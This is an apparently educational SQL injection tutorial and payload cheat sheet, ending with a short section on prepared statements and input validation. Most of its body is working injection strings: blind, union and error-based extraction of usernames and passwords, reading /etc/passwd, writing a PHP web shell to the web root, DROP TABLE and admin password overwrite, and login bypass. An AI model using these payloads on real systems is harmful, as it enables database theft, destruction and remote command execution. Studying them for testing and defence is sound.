Comprehensive Classification and Detailed Analysis of SQL Injection Techniques
SQL injection occurs when user input is directly concatenated into backend SQL queries without proper validation or sanitization. This vulnerability allows attackers to manipulate SQL statements, potentially enabling unauthorized database operations such as data retrieval, modification, or deletion. In severe cases with elevated database privileges, attackers may even execute commands on the underlying operating system.
MySQL Fundamentals
MySQL 5.0+ includes the information_schema database containing read-only metadata tables:
information_schema.schemata: Stores database namesinformation_schema.tables: Contains table namesinformation_schema.columns: Holds column names
Common MySQL functions:
version(): Database versionuser(): Current database userdatabase(): Active database nameload_file(): Reads local files@@datadir: Database directory path@@basedir: MySQL installation path@@version_compile_os: Operating system information
String manipulation functions:
ascii(str): Returns ASCII value of first characterlength(str): Returns string lengthsubstr(string, start, length): Extracts substring (synonyms:substring(),mid())concat(str1, str2): Concatenates stringsgroup_concat(column): Aggregates values with comma separation
SQL Injection Classification
By Injection Point Type
- Numeric injection
- String injection
- Search query injection
By Submission Method
- GET injection
- POST injection
- Cookie injection
- HTTP header injection (X-Forwarded-For, User-Agent, Referer)
By Information Retrieval Method
- Boolean-based blind injection
- Time-based blind injection
- Error-based injection
- Union query injection
- Stacked query injection
Detection Methods
- Error Testing: Append single quotes (
'), double quotes ("), or parentheses to input parameters. Error responses may indicate vulnerability. - Boolean Testing: Append
AND 1=1andAND 1=2to observe response differences. - Timing Analysis: Use time-delay functions like
BENCHMARK()orSLEEP()to detect blind injection vulnerabilities.
Common vulnerable points include login pages, HTTP header processing, and order management systems where user input interacts with database queries.
Boolean-Based Blind Injection
When applications return only true/false indicators, attackers infer database information through conditional responses.
Database Type Identification
-- MySQL detection
' AND EXISTS(SELECT * FROM information_schema.tables) --
-- Access detection
' AND EXISTS(SELECT * FROM msysobjects) --
-- SQL Server detection
' AND EXISTS(SELECT * FROM sysobjects) --
Database Name Enumeration
-- Determine database length
' AND LENGTH(DATABASE()) > 7 --
-- Extract database name character by character
' AND ASCII(SUBSTR(DATABASE(), 1, 1)) > 100 --
Table Discovery
-- Count tables in current database
' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) > 3 --
-- Determine table name length
' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)) = 6 --
-- Extract table names
' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1)) > 100 --
Column Enumeration
-- Count columns in specific table
' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users') > 2 --
-- Determine column names
' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 1, 1)) > 100 --
Data Extraction
-- Determine data length
' AND LENGTH((SELECT username FROM users LIMIT 0,1)) > 5 --
-- Extract data values
' AND ASCII(SUBSTR((SELECT password FROM users LIMIT 0,1), 1, 1)) > 50 --
Union Query Injection
Union injection requires visible output columns and works by manipulating query results.
Column Count Determination
-- Test column count
' ORDER BY 4 --
Union Payload Construction
-- Basic union test
-1' UNION SELECT 1,2,3 --
-- Retrieve database information
-1' UNION SELECT 1,VERSION(),@@datadir --
-- Extract all databases
-1' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --
-- Extract tables from specific database
-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='target_db' --
-- Extract columns from specific table
-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema='target_db' AND table_name='users' --
-- Retrieve data from table
-1' UNION SELECT 1,GROUP_CONCAT(username,':',password),3 FROM users --
File Operations
File Reading
-- Union-based file read
-1' UNION SELECT 1,2,LOAD_FILE('/etc/passwd') --
-- Hexadecimal representation
-1' UNION SELECT 1,2,LOAD_FILE(0x2F6574632F706173737764) --
File Writing
-- Write PHP shell
-1' UNION SELECT 1,2,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php' --
-- Hexadecimal payload
-1' UNION SELECT 1,2,0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E INTO OUTFILE '/var/www/shell.php' --
Error-Based Injection
Error injection exploits database error messages to extract information.
Floor-Based Technique
-- Basic floor error injection
' AND (SELECT 1 FROM (SELECT COUNT(*) FROM information_schema.tables GROUP BY CONCAT(USER(),FLOOR(RAND(0)*2)))a) --
-- Extract database information
' AND (SELECT 1 FROM (SELECT COUNT(*) FROM information_schema.tables GROUP BY CONCAT(DATABASE(),0x7e,FLOOR(RAND(0)*2)))a) --
Time-Based Blind Injection
Time-based techniques use response delays to infer query results.
-- Basic time delay test
' AND SLEEP(5) --
-- Conditional time delay
' AND IF(ASCII(SUBSTR(DATABASE(),1,1))>100,SLEEP(5),0) --
Wide-Byte Injection
Wide-byte injection bypasses escaping mechanisms in GBK/GB2312 encodings.
-- Bypass backslash escaping
%df' AND 1=1 --
-- Union injection with wide-byte bypass
%df' AND 1=2 UNION SELECT 1,USER(),VERSION() --
Stacked Query Injection
Stacked queries execute multiple statements separated by semicolons.
-- Basic stacked query
'; DROP TABLE users; --
-- Combined attack
'; UPDATE users SET password='hacked' WHERE username='admin'; --
Second-Order Injection
Second-order injection stores malicious input for later execution.
Attack Scenario
- Attacker registers with username:
admin' -- - Application stores username without sanitization
- Later password reset query becomes:
UPDATE users SET password='newpass' WHERE username='admin' --' AND password='oldpass'
- Comment character truncates query, resetting admin password
HTTP Header Injection
User-Agent Injection
POST /login HTTP/1.1
User-Agent: ' AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE(),0x7e)) AND '1'='1
Cookie Injection
GET /page HTTP/1.1
Cookie: id=27' AND (SELECT COUNT(*) FROM users)>0 --
Universal Authentication Bypass
-- Known username
admin' OR '1'='1
-- Unknown username
' OR '1'='1
-- Comment-based bypass
' OR '1'='1'#
Prevention Techniques
Prepared Statements (Java)
String query = "SELECT id, name FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
PDO (PHP)
$stmt = $pdo->prepare("SELECT id, name FROM users WHERE username = :user");
$stmt->bindParam(':user', $username, PDO::PARAM_STR);
$stmt->execute();
Input Validation
- Validate parameter types and formats
- Implement allow-list validation
- Escape special characters
- Apply principle of least privilege to database accounts
- Use web application firewalls
Additional Measures
- Restrict database user permissions
- Prevent write access to web directories
- Implement comprehensive logging
- Regular security testing and code review